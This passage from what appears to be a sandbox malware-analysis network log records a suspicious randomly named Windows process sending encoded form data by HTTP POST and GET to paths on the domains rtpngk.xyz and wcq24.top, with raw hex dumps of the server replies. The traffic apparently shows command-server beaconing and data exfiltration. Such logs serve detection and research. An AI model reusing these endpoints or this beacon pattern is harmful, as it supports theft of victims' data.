                                                                                                                                                                    Oct 25, 2024 16:30:02.433026075 CEST1236INData Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 2d 69 74 65 6d 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 73 73 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e
                                                                                                                                                                    Data Ascii: <div class="b-parking__promo-item b-parking__ssl-protection"><span class="b-parking__promo-image b-parking__promo-image_type_ssl l-margin_right-large"></span> <strong class="b-title b-title_size_large-compact b-title_margin_none">SSL-
                                                                                                                                                                    Oct 25, 2024 16:30:02.433034897 CEST1236INData Raw: 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f
                                                                                                                                                                    Data Ascii: oad="window.trackScriptLoad('parking-rdap-auto.js')" onerror="window.trackScriptLoad('parking-rdap-auto.js', 1)" src="parking-rdap-auto.js" charset="utf-8"></script><script>function ondata(data){ if ( data.error_code ) {
                                                                                                                                                                    Oct 25, 2024 16:30:02.434350014 CEST1236INData Raw: 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 20 27 73 70 61 6e 2e 70 75 6e 79 2c 20 73 70 61 6e 2e 6e 6f 2d 70 75 6e 79 27 20 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 20 3d 20 27 74 65 78 74 43 6f 6e 74 65 6e 74
                                                                                                                                                                    Data Ascii: cument.querySelectorAll( 'span.puny, span.no-puny' ), t = 'textContent' in document.body ? 'textContent' : 'innerText'; var domainName = document.title.match( /(xn--|[0-9]).+\.(xn--)[^\s]+/ )[0]; if ( domainName )
                                                                                                                                                                    Oct 25, 2024 16:30:02.434356928 CEST361INData Raw: 6d 63 2e 79 61 6e 64 65 78 2e 72 75 2f 6d 65 74 72 69 6b 61 2f 74 61 67 2e 6a 73 22 2c 20 22 79 6d 22 29 3b 20 20 20 79 6d 28 39 38 34 36 36 33 32 39 2c 20 22 69 6e 69 74 22 2c 20 7b 0a 20 20 20 20 20 20 20 20 63 6c 69 63 6b 6d 61 70 3a 74 72 75
                                                                                                                                                                    Data Ascii: mc.yandex.ru/metrika/tag.js", "ym"); ym(98466329, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true });</script><noscript><div><img src="https://mc.yandex.ru/watch/98466329"


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    41192.168.2.562228188.114.96.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:07.640131950 CEST675OUTPOST /876i/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.rtpngk.xyz
                                                                                                                                                                    Origin: http://www.rtpngk.xyz
                                                                                                                                                                    Referer: http://www.rtpngk.xyz/876i/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 48 6b 61 51 39 7a 65 39 53 49 4f 66 62 4d 77 59 71 4f 43 4a 55 4e 6d 35 44 72 77 75 63 70 72 73 37 38 4e 76 78 76 41 4d 6d 6f 70 78 47 41 56 66 72 59 39 70 47 74 52 4c 41 57 70 70 74 5a 62 2b 37 6f 62 7a 73 55 30 73 33 66 32 71 53 54 71 31 61 71 31 45 63 75 30 34 69 6e 77 43 35 46 79 48 61 50 47 63 6e 68 51 43 50 70 36 53 56 51 72 6c 35 39 56 78 64 43 56 45 36 58 78 57 59 38 53 6f 42 76 4e 34 48 48 7a 4e 6f 35 4d 77 2b 4c 4d 71 2f 71 32 5a 64 4e 4a 38 51 75 75 6b 35 53 52 36 59 6d 78 77 4c 52 6b 4c 33 47 34 6e 78 35 41 49 63 56 6e 58 50 4a 77 2f 47 50 65 62 65 6c 75 56 59 32 41 6c 6e 6c 73 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=HkaQ9ze9SIOfbMwYqOCJUNm5Drwucprs78NvxvAMmopxGAVfrY9pGtRLAWpptZb+7obzsU0s3f2qSTq1aq1Ecu04inwC5FyHaPGcnhQCPp6SVQrl59VxdCVE6XxWY8SoBvN4HHzNo5Mw+LMq/q2ZdNJ8Quuk5SR6YmxwLRkL3G4nx5AIcVnXPJw/GPebeluVY2Alnls=
                                                                                                                                                                    Oct 25, 2024 16:30:08.256692886 CEST1023INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:08 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 167
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Cache-Control: max-age=3600
                                                                                                                                                                    Expires: Fri, 25 Oct 2024 15:30:08 GMT
                                                                                                                                                                    Location: https://www.rtpngk.xyz/876i/
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7lbUjj67x3nfZPo1Oo4QMHGme3vWmQXrbR7XAMXyHNTzQn2rDZuIhfCDGJTxTbiUxuig7OKriJQzNz%2FVKBPMUlvgSBdo0nlUxJBk%2FhB3Oc95vih%2FZ%2FeSY6wUetZk%2FyGUZg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e71d181e0be2-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1862&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=675&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    42192.168.2.562229188.114.96.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:10.197880030 CEST695OUTPOST /876i/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.rtpngk.xyz
                                                                                                                                                                    Origin: http://www.rtpngk.xyz
                                                                                                                                                                    Referer: http://www.rtpngk.xyz/876i/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 48 6b 61 51 39 7a 65 39 53 49 4f 66 61 74 67 59 6d 50 43 4a 53 74 6d 6d 47 72 77 75 48 5a 72 6f 37 38 42 76 78 75 46 42 6c 61 64 78 47 6c 35 66 35 71 56 70 48 74 52 4c 59 47 70 73 31 35 62 70 37 6f 6e 4e 73 51 30 73 33 66 4b 71 53 52 69 31 64 64 70 44 63 2b 30 36 75 48 77 4d 39 46 79 48 61 50 47 63 6e 67 68 5a 50 6f 53 53 55 6c 6a 6c 35 59 31 32 58 69 56 44 39 58 78 57 4f 4d 53 53 42 76 4d 62 48 45 32 59 6f 38 49 77 2b 4b 38 71 2f 34 4f 59 57 4e 4a 36 55 75 75 77 77 43 49 79 66 33 74 6a 57 53 4a 52 76 45 49 6f 30 50 74 69 47 33 76 2f 63 70 63 48 57 63 57 73 50 56 50 38 43 56 51 56 35 79 37 62 4b 65 38 74 39 62 61 59 52 67 72 4a 7a 69 5a 49 31 30 5a 57
                                                                                                                                                                    Data Ascii: tD38rnpX=HkaQ9ze9SIOfatgYmPCJStmmGrwuHZro78BvxuFBladxGl5f5qVpHtRLYGps15bp7onNsQ0s3fKqSRi1ddpDc+06uHwM9FyHaPGcnghZPoSSUljl5Y12XiVD9XxWOMSSBvMbHE2Yo8Iw+K8q/4OYWNJ6UuuwwCIyf3tjWSJRvEIo0PtiG3v/cpcHWcWsPVP8CVQV5y7bKe8t9baYRgrJziZI10ZW
                                                                                                                                                                    Oct 25, 2024 16:30:11.039983988 CEST1027INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:10 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 167
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Cache-Control: max-age=3600
                                                                                                                                                                    Expires: Fri, 25 Oct 2024 15:30:10 GMT
                                                                                                                                                                    Location: https://www.rtpngk.xyz/876i/
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oehSa%2BOKFctBlkfq9SwyGdP6UM1mwaKNjxcVDXWA%2BXxe9LxRY2d4s%2FhbMsRfhhpH43WoQ%2FM5tHNfhd6%2FbwLDdh5rlANQtoeYby%2FPxwxTHayGjubXNn6%2FvnDkGlri7FotRg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e72cff337d55-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1151&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=695&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    43192.168.2.562230188.114.96.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:12.741452932 CEST1712OUTPOST /876i/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.rtpngk.xyz
                                                                                                                                                                    Origin: http://www.rtpngk.xyz
                                                                                                                                                                    Referer: http://www.rtpngk.xyz/876i/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 48 6b 61 51 39 7a 65 39 53 49 4f 66 61 74 67 59 6d 50 43 4a 53 74 6d 6d 47 72 77 75 48 5a 72 6f 37 38 42 76 78 75 46 42 6c 61 46 78 47 7a 74 66 6f 37 56 70 56 39 52 4c 51 6d 70 74 31 35 62 6f 37 6f 50 4a 73 51 77 38 33 61 47 71 64 54 61 31 59 6f 64 44 53 2b 30 36 67 58 77 42 35 46 7a 48 61 50 57 59 6e 68 64 5a 50 6f 53 53 55 69 54 6c 2f 4e 56 32 52 69 56 45 36 58 78 4b 59 38 54 63 42 76 56 67 48 46 44 6a 6f 50 77 77 2b 71 73 71 36 4e 69 59 62 4e 4a 34 5a 4f 76 33 77 43 30 39 66 33 78 52 57 53 4e 2f 76 47 6f 6f 32 36 67 30 61 6d 2f 59 47 5a 77 42 58 2f 54 41 66 44 53 66 4b 55 38 76 34 41 69 68 4c 4d 55 2b 30 39 36 2b 5a 79 54 47 77 32 74 69 79 54 4d 67 6b 79 4b 6f 67 58 47 2f 6c 43 35 6a 4c 41 71 32 64 4a 64 48 52 45 35 73 76 4d 4a 39 31 72 41 53 50 50 58 35 31 46 70 7a 46 31 70 67 6b 37 78 74 33 69 43 61 30 47 71 37 65 73 77 33 77 6e 6e 4a 47 62 69 73 34 58 2b 6b 67 4e 33 32 51 2b 6a 52 5a 64 54 6d 46 52 4a 45 75 43 65 76 52 6c 35 77 69 36 6b 41 32 56 75 62 45 52 65 4f 61 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=HkaQ9ze9SIOfatgYmPCJStmmGrwuHZro78BvxuFBlaFxGztfo7VpV9RLQmpt15bo7oPJsQw83aGqdTa1YodDS+06gXwB5FzHaPWYnhdZPoSSUiTl/NV2RiVE6XxKY8TcBvVgHFDjoPww+qsq6NiYbNJ4ZOv3wC09f3xRWSN/vGoo26g0am/YGZwBX/TAfDSfKU8v4AihLMU+096+ZyTGw2tiyTMgkyKogXG/lC5jLAq2dJdHRE5svMJ91rASPPX51FpzF1pgk7xt3iCa0Gq7esw3wnnJGbis4X+kgN32Q+jRZdTmFRJEuCevRl5wi6kA2VubEReOampZgnY+x51O/1vOFWG6k/S6LAfDb9QLT5z0+3NhWxe9C9vBTlFKsmD5adJf4CuDiwOeKvNe+mjEY8aX6CqVQWqAEg/jsteVOn3fpZGV3ApArynKSpQ7Q3Oc8W24De2Ipzz/ScN6alGblCOwon+/jxbcHYhf3pNeCETcUDWq34+ediNM7HS1Kqz0uAkakV7geO9/xGe8x9DTg/OTJ1ytlcK4WE6ObadNfyN7bDKvj2oLnyWsVIVnW3PZqUEpk47wY/2KZ0ecRXd5RxzG/GQhrwu6JZ0kZVkizJG02jCvo+IFmLYYgAzl/XMNra2a/pDrcR9W1fg47+PfGWfVwZPfiWIjFRbwhjhMsa74JO4sKD7hd/4EVGWE5yec+3jcE++Jm6TIFQOdxIyi7IR1fEs0mrpPXx4YOmncAStJN1+QAtpRcHyGxYXqV5kDU536Wp9n+A/ynCQ7ho6MjOkH8QQCrnAJRD1wk+/IlTLWsydPqCtEUbowYT7hiAjkl3a5Sp82f8+CBp7I+F3OOBK258/Jtnqv3MUu7Az8mfZ4aJIrNRFKE8cRiNhfeb8nIoSkX21zVJRzJ0D0w5DkoQQ/Kc/WFsJDK5JQaT6by5ZdZO7WHgxamWiINTinmga4jp/BHpXDGVjZVjWPt0shtZNw6DTRsCAnW75OG+U0QZr [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:30:13.350594997 CEST1022INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:13 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 167
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Cache-Control: max-age=3600
                                                                                                                                                                    Expires: Fri, 25 Oct 2024 15:30:13 GMT
                                                                                                                                                                    Location: https://www.rtpngk.xyz/876i/
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zEuy09UVhme%2FKZu775shDwGv4jiw1UzFi6Z%2BWUom266QN4eWUYHGNGYyWer2EdcX5mWRpmNoEGpBIQYc6B1FXDMa1VUyPHrc%2FPHL4V6OvDhXb%2BLmIvkb7vpRC8tL8tFGwg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e73cffd78d27-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1395&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1712&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    44192.168.2.562231188.114.96.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:15.281450033 CEST423OUTGET /876i/?tD38rnpX=Kmyw+GmuH5iWde8Ln9Oic9mBBukDH7X+neEL39Fbw9B5TSRbsYx5ep9OaSlRgrfJ9t7osQY2p6mHYTWDA9JvbMEa0CMa2SDZMMOHi1NVW5+obCTohagwYw9FzG8LP8jMUA==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.rtpngk.xyz
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:30:15.895721912 CEST1156INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:15 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 167
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Cache-Control: max-age=3600
                                                                                                                                                                    Expires: Fri, 25 Oct 2024 15:30:15 GMT
                                                                                                                                                                    Location: https://www.rtpngk.xyz/876i/?tD38rnpX=Kmyw+GmuH5iWde8Ln9Oic9mBBukDH7X+neEL39Fbw9B5TSRbsYx5ep9OaSlRgrfJ9t7osQY2p6mHYTWDA9JvbMEa0CMa2SDZMMOHi1NVW5+obCTohagwYw9FzG8LP8jMUA==&EjY0i=xfOdKrMPu
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GP1sRi5zdFPcKglynGPKaLotv0puhk%2BBBNizTQ4NG8GksTBcyQdxe2LIVNNyd5XU9gS7R8%2F0lulOypvCnoONmOVOYqnu5kb25a3fhH%2B4oUz6VYyzb%2BeD3B1h4dh1sLb79Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e74cee4e6c13-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1109&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=423&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    45192.168.2.562232154.23.184.240802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:21.101222992 CEST672OUTPOST /i557/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.wcq24.top
                                                                                                                                                                    Origin: http://www.wcq24.top
                                                                                                                                                                    Referer: http://www.wcq24.top/i557/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6d 37 5a 7a 41 6a 69 67 62 64 64 47 57 50 71 30 56 67 4d 70 35 73 32 56 4f 39 73 51 58 6c 35 4a 46 66 4d 4e 34 57 68 6c 4b 4d 33 38 31 4a 6a 55 31 65 6f 41 62 4e 30 45 71 6a 6f 62 54 4f 47 57 48 49 35 42 44 57 53 61 38 78 62 75 51 48 6f 4a 70 72 34 35 77 6a 71 66 79 65 47 38 4d 6f 4b 55 53 41 58 62 41 4e 53 48 6d 34 61 65 6d 6e 46 4d 34 43 71 50 53 34 68 51 56 51 44 67 76 64 4a 54 6a 47 59 70 34 5a 71 44 6a 69 6a 42 53 78 4b 38 2f 51 70 4c 44 4b 77 58 48 33 4c 4e 74 4f 35 32 34 46 47 72 55 31 53 6e 67 76 67 4b 4a 55 4b 39 7a 69 6b 7a 51 35 4e 79 7a 54 73 67 48 32 41 33 41 4a 79 78 78 30 55 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=m7ZzAjigbddGWPq0VgMp5s2VO9sQXl5JFfMN4WhlKM381JjU1eoAbN0EqjobTOGWHI5BDWSa8xbuQHoJpr45wjqfyeG8MoKUSAXbANSHm4aemnFM4CqPS4hQVQDgvdJTjGYp4ZqDjijBSxK8/QpLDKwXH3LNtO524FGrU1SngvgKJUK9zikzQ5NyzTsgH2A3AJyxx0U=
                                                                                                                                                                    Oct 25, 2024 16:30:22.050659895 CEST312INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:21 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 148
                                                                                                                                                                    Connection: close
                                                                                                                                                                    ETag: "66a7679f-94"
                                                                                                                                                                    Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    46192.168.2.562233154.23.184.240802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:23.643918037 CEST692OUTPOST /i557/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.wcq24.top
                                                                                                                                                                    Origin: http://www.wcq24.top
                                                                                                                                                                    Referer: http://www.wcq24.top/i557/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
